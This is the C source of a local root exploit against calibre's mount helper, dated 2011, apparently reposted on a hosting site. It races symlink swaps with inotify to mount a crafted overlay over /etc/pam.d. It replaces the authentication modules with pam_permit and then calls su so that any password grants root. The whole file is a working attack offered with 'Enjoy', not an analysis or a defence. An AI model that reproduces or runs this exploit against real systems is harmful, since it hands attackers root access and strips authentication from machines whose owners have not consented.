الاستضافة الاسلامية

/*
* ################################################## ######
* # .80 Calibrer Assault Mount #
* # by zx2c4 #
* ################################################## ######
*
* Yesterday's assult mount used inotify to mount into /etc/pam.d. Today we
* expand the attack by adding a race toggler so we can mount from non-block
* devices.
*
* Enjoy.
*
* - zx2c4
* 2011-11-4
*
* greets to djrbliss
*
*/


#include <stdio.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

int main(int argc, char **argv)
{
printf("########################################## ##############\n");
printf("# .80 Calibrer Assault Mount #\n");
printf("# by zx2c4 #\n");
printf("########################################## ##############\n\n");


printf("[+] Cleaning up old cruft.\n");
unlink("/dev/shm/overlay");
system("calibre-mount-helper cleanup /dev/ram0 /media/staging/");

printf("[+] Creating overlay container.\n");
system("dd if=/dev/zero of=/dev/shm/overlay count=25600");
system("/usr/sbin/mkfs.ntfs /dev/shm/overlay");

printf("[+] Mounting staging using race condition toggler...\n");
int childpid = fork();
if (childpid) {
int ret;
while ((ret = system("calibre-mount-helper mount /dev/shm/overlay /media/staging/ 2>&1")) == 256 || ret == 8192);
kill(childpid, SIGKILL);
} else {
while (1) {
rename("/dev/shm/overlay", "/dev/shm/overlay-holder");
symlink("/dev/ram0", "/dev/shm/overlay");
unlink("/dev/shm/overlay");
rename("/dev/shm/overlay-holder", "/dev/shm/overlay");
}
return 0;
}

printf("[+] Preparing overlay with /etc/pam.d modification:\n");
system("cp -v /etc/pam.d/* /media/staging/");
system("sed -i \"s/pam_deny.so/pam_permit.so/g\" /media/staging/common-auth");
system("sed -i \"s/pam_cracklib.so.*/pam_permit.so/g\" /media/staging/system-auth");
system("sed -i \"s/pam_unix.so.*/pam_permit.so/g\" /media/staging/system-auth");


printf("[+] Mounting overlay over /etc/pam.d using race condition toggler and inotify...\n");
childpid = fork();
if (childpid) {
int childpid2 = fork();
if (childpid2) {
int ret;
while ((ret = system("calibre-mount-helper mount /dev/shm/overlay /etc/pam.d/ 2>&1")) == 256 || ret == 8192);
kill(childpid, SIGKILL);
kill(childpid2, SIGKILL);
} else {
while (1) {
int fd;
fd = inotify_init();
unlink("/media/staging/fake");
mkdir("/media/staging/fake");
inotify_add_watch(fd, "/media/staging/fake", IN_CREATE);
read(fd, 0, 0);
rename("/media/staging/fake", "/media/staging/tmp");
symlink("/etc/pam.d", "/media/staging/fake");
rmdir("/media/staging/tmp");
close(fd);
}
}
} else {
while (1) {
rename("/dev/shm/overlay", "/dev/shm/overlay-holder");
symlink("/dev/ram0", "/dev/shm/overlay");
unlink("/dev/shm/overlay");
rename("/dev/shm/overlay-holder", "/dev/shm/overlay");
}
return 0;
}

printf("[+] Asking for root. When prompted for a password, type anything and press enter.\n");
system("su");

return 0;
}